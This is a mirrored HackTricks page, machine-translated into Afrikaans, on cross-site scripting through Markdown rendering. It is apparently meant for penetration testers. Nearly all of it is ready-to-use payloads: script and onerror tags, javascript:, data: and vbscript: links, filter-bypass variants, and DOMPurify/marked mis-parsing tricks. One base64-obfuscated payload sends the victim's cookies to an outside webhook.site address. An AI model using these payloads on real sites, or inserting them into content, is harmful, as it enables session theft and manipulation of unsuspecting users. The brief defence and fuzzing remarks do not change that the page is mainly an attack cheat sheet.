mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
219 lines
15 KiB
Markdown
219 lines
15 KiB
Markdown
# XSS in Markdown
|
||
|
||
<details>
|
||
|
||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
As jy die kans kry om kode in markdown in te spuit, is daar 'n paar opsies wat jy kan gebruik om 'n XSS te veroorsaak wanneer die kode geïnterpreteer word.
|
||
|
||
### HTML-etikette
|
||
|
||
Die mees algemene manier om XSS in markdown te kry, is om algemene HTML-etikette in te spuit wat javascript uitvoer, omdat verskeie markdown-interpreteerders ook HTML sal aanvaar.
|
||
```html
|
||
<!-- XSS with regular tags -->
|
||
<script>alert(1)</script>
|
||
<img src=x onerror=alert(1) />
|
||
```
|
||
Jy kan meer voorbeelde vind in die [hoof XSS-bladsy van hacktricks](./).
|
||
|
||
### Javascript skakels
|
||
|
||
As HTML-etikette nie 'n opsie is nie, kan jy altyd probeer om met markdown-sintaksis te speel:
|
||
```html
|
||
<!-- markdow link to XSS, this usually always work but it requires interaction -->
|
||
[a](javascript:prompt(document.cookie))
|
||
|
||
<!-- Other links attacks with some bypasses -->
|
||
[Basic](javascript:alert('Basic'))
|
||
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
|
||
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
|
||
[URL](javascript://www.google.com%0Aalert('URL'))
|
||
[In Quotes]('javascript:alert("InQuotes")')
|
||
[a](j a v a s c r i p t:prompt(document.cookie))
|
||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||
[a](javascript:window.onerror=alert;throw%201)
|
||
```
|
||
### Img gebeurtenis sintaksis misbruik
|
||
|
||
Die `img` element in HTML het 'n `onerror` gebeurtenis wat geaktiveer word as die bron van die prent nie gelaai kan word nie. Hierdie gebeurtenis kan misbruik word om 'n XSS-aanval uit te voer deur kwaadwillige kode in te sluit in die `onerror` attribuut.
|
||
|
||
#### Basiese sintaksis
|
||
|
||
```html
|
||
<img src="ongeldige_bron" onerror="kwaadwillige_kode">
|
||
```
|
||
|
||
#### Voorbeeld
|
||
|
||
```html
|
||
<img src="ongeldige_bron" onerror="alert('XSS-aanval uitgevoer')">
|
||
```
|
||
|
||
In hierdie voorbeeld sal die `alert`-funksie uitgevoer word as die bron van die prent nie gelaai kan word nie. Dit kan gebruik word om kwaadwillige aksies uit te voer, soos die stel van koekies, die stuur van gebruikersinligting na 'n aanvaller se bediener, of die verandering van die inhoud van die webwerf.
|
||
|
||
#### Verdediging
|
||
|
||
Om XSS-aanvalle deur middel van die `onerror` gebeurtenis te voorkom, moet alle invoer wat gebruik word om die `src` attribuut van die `img` element te vul, behoorlik gevalideer en gesaniteer word. Dit sluit in die verwydering van enige potensieel skadelike kode of karakters.
|
||
```markdown
|
||
![Uh oh...]("onerror="alert('XSS'))
|
||
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
|
||
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
|
||
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
|
||
```
|
||
### HTML Sanitiser Markdown Bypass
|
||
|
||
Die volgende kode **sanitiseer HTML insette** en stuur dit dan na die markdown parser, XSS kan dan geaktiveer word deur misinterpretasies tussen Markdown en DOMPurify te misbruik.
|
||
```html
|
||
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
||
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
||
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
|
||
<script>
|
||
const qs = new URLSearchParams(location.search);
|
||
if (qs.get("content")?.length > 0) {
|
||
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
|
||
}
|
||
</script>
|
||
```
|
||
Voorbeeld van payloads:
|
||
```html
|
||
<div id="1
|
||
|
||
//)">
|
||
-----------------------------------------------
|
||
<a title="a
|
||
|
||
<img src=x onerror=alert(1)>">yep</a>
|
||
------------------------------------------------
|
||
[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>
|
||
----------------------------------------------
|
||
[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#'></p>)
|
||
----------------------------------------------
|
||
`<p x="`<img src=x onerror=alert(1)>"></p>
|
||
```
|
||
### Fuzzing
|
||
|
||
Fuzzing is 'n tegniek wat gebruik word om programmatuur te toets deur willekeurige, ongeldige of onverwagte insette in die program in te voer. Die doel van fuzzing is om potensiële kwesbaarhede of foute in die program te identifiseer deur die program te dwing om onverwagte gedrag te vertoon.
|
||
|
||
Fuzzing kan gebruik word om XSS-kwesbaarhede in webtoepassings te ontdek. Deur ongeldige of kwaadwillige insette in invoerveldteks in te voer, kan 'n aanvaller probeer om skadelike skrips in die webtoepassing in te spuit. Hierdie skadelike skrips kan dan uitgevoer word wanneer 'n gebruiker die betrokke webbladsy besoek, wat die aanvaller in staat stel om gevoelige inligting te steel of die webtoepassing te manipuleer.
|
||
|
||
Om XSS-kwesbaarhede te ontdek deur middel van fuzzing, kan 'n aanvaller verskillende tipes insette probeer, soos HTML-etikette, JavaScript-kode, URL-parameters en meer. Deur die program te dwing om hierdie insette te verwerk, kan die aanvaller bepaal of daar 'n XSS-kwesbaarheid in die webtoepassing is.
|
||
|
||
Fuzzing kan handmatig of outomaties gedoen word met behulp van spesiale gereedskap soos fuzzers. Hierdie gereedskap genereer outomaties verskeie tipes insette en voer dit in die program in om potensiële kwesbaarhede te identifiseer. Dit maak die proses van XSS-kwesbaarheidsontdekking effektief en vinnig.
|
||
|
||
Dit is belangrik om te verstaan dat fuzzing 'n tegniek is wat gebruik kan word vir goeie doeleindes, soos die identifisering van kwesbaarhede in programmatuur om dit veiliger te maak. Dit moet egter slegs uitgevoer word op stelsels en toepassings waarvoor jy die regte toestemming het om te toets.
|
||
```html
|
||
<!--
|
||
Fuzzing examples from
|
||
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
|
||
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
|
||
-->
|
||
|
||
[a](javascript:prompt(document.cookie))
|
||
[a](j a v a s c r i p t:prompt(document.cookie))
|
||
)\
|
||
<javascript:prompt(document.cookie)>
|
||
<javascript:alert('XSS')>
|
||
\
|
||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||
[a](javascript:alert('XSS'))
|
||
\
|
||
[citelol]: (javascript:prompt(document.cookie))
|
||
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
|
||
[test](javascript://%0d%0aprompt(1))
|
||
[test](javascript://%0d%0aprompt(1);com)
|
||
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
|
||
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
|
||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||
[clickme](vbscript:alert(document.domain))
|
||
_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
|
||
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
|
||
[text](http://danlec.com " [@danlec](/danlec) ")
|
||
[a](javascript:this;alert(1))
|
||
[a](javascript:this;alert(1))
|
||
[a](javascript:this;alert(1))
|
||
[a](Javascript:alert(1))
|
||
[a](Javas%26%2399;ript:alert(1))
|
||
[a](javascript:alert(1))
|
||
[a](javascript:confirm(1)
|
||
[a](javascript://www.google.com%0Aprompt(1))
|
||
[a](javascript://%0d%0aconfirm(1);com)
|
||
[a](javascript:window.onerror=confirm;throw%201)
|
||
[a](javascript:alert(document.domain))
|
||
[a](javascript://www.google.com%0Aalert(1))
|
||
[a]('javascript:alert("1")')
|
||
[a](JaVaScRiPt:alert(1))
|
||
![a](https://www.google.com/image.png"onload="alert(1))
|
||
![a]("onerror="alert(1))
|
||
</http://<?php\><\h1\><script:script>confirm(2)
|
||
[XSS](.alert(1);)
|
||
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
|
||
[ ](http://a?p=[[/onclick=alert(0) .]])
|
||
[a](javascript:new%20Function`al\ert\`1\``;)
|
||
[XSS](javascript:prompt(document.cookie
|
||
[XSS](javascript:alert('XSS'))
|
||
[XSS]: (javascript:prompt(document.cookie))
|
||
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
|
||
[XSS](javascript://%0d%0aprompt(1))
|
||
[XSS](javascript://%0d%0aprompt(1);com)
|
||
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
|
||
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
|
||
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||
[XSS](vbscript:alert(document.domain))
|
||
[XSS](javascript:this;alert(1))
|
||
[XSS](javascript:this;alert(1))
|
||
[XSS](javascript:this;alert(1))
|
||
[XSS](Javascript:alert(1))
|
||
[XSS](Javas%26%2399;ript:alert(1))
|
||
[XSS](javascript:alert(1))
|
||
[XSS](javascript:confirm(1)
|
||
[XSS](javascript://www.google.com%0Aprompt(1))
|
||
[XSS](javascript://%0d%0aconfirm(1);com)
|
||
[XSS](javascript:window.onerror=confirm;throw%201)
|
||
[XSS](<28>javascript:alert(document.domain))
|
||
)\
|
||
\
|
||
\
|
||
```Afrikaans
|
||
[XSS](javascript:alert('XSS'))
|
||
[XSS]: (javascript:prompt(document.cookie))
|
||
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
|
||
[XSS](javascript://%0d%0aprompt(1))
|
||
[XSS](javascript://%0d%0aprompt(1);com)
|
||
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
|
||
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
|
||
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||
[XSS](vbscript:alert(document.domain))
|
||
[XSS](javascript:this;alert(1))
|
||
[XSS](javascript:this;alert(1))
|
||
[XSS](javascript:this;alert(1))
|
||
[XSS](Javascript:alert(1))
|
||
[XSS](Javas%26%2399;ript:alert(1))
|
||
[XSS](javascript:alert(1))
|
||
[XSS](javascript:confirm(1)
|
||
[XSS](javascript://www.google.com%0Aprompt(1))
|
||
[XSS](javascript://%0d%0aconfirm(1);com)
|
||
[XSS](javascript:window.onerror=confirm;throw%201)
|
||
[XSS](<28>javascript:alert(document.domain))
|
||
)\
|
||
\
|
||
\
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|